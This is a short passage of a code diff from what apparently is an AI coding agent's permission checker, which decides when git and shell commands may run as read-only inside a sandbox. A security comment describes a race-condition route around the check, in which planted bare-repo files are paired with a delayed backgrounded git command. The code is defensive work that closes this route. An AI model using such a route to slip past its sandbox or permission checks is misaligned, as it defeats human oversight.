+ 'Compound commands that create git internal files and run git require permission checks for enhanced security',
1948
+ }
1949
+ }
1950
+
1951
+ // SECURITY: Only auto-allow git commands as read-only if we're in the original cwd
1952
+ // (which is protected by sandbox denyWrite) or if sandbox is disabled (attack is moot).
1953
+ // Race condition: a sandboxed command can create bare repo files in a subdirectory,
1954
+ // and a backgrounded git command (e.g. sleep 10 && git status) would pass the
1955
+ // isCurrentDirectoryBareGitRepo() check at evaluation time before the files exist.
1956
+ if (
1957
+ hasGitCommand &&
1958
+ SandboxManager.isSandboxingEnabled() &&
1959
+ getCwd() !== getOriginalCwd()
1960
+ ) {
1961
+ return {
1962
+ behavior: 'passthrough',
1963
+ message:
1964
+ 'Git commands outside the original working directory require permission checks when sandbox is enabled',
1965
+ }
1966
+ }
1967
+
1968
+ // Check if all subcommands are read-only
1969
+ const allSubcommandsReadOnly = splitCommand_DEPRECATED(command).every(
1970
+ subcmd => {
1971
+ if (bashCommandIsSafe_DEPRECATED(subcmd).behavior !== 'passthrough') {
1972
+ return false
1973
+ }
1974
+ return isCommandReadOnly(subcmd)
1975
+ },
1976
+ )
1977
+
1978
+ if (allSubcommandsReadOnly) {
1979
+ return {
1980
+ behavior: 'allow',
1981
+ updatedInput: input,
1982
+ }
1983
+ }
1984
+
1985
+ // If not read-only, return passthrough to let other permission checks handle it
1986
+ return {
1987
+ behavior: 'passthrough',
1988
+ message: 'Command is not read-only, requires further permission checks',
1989
+ }
1990
+ }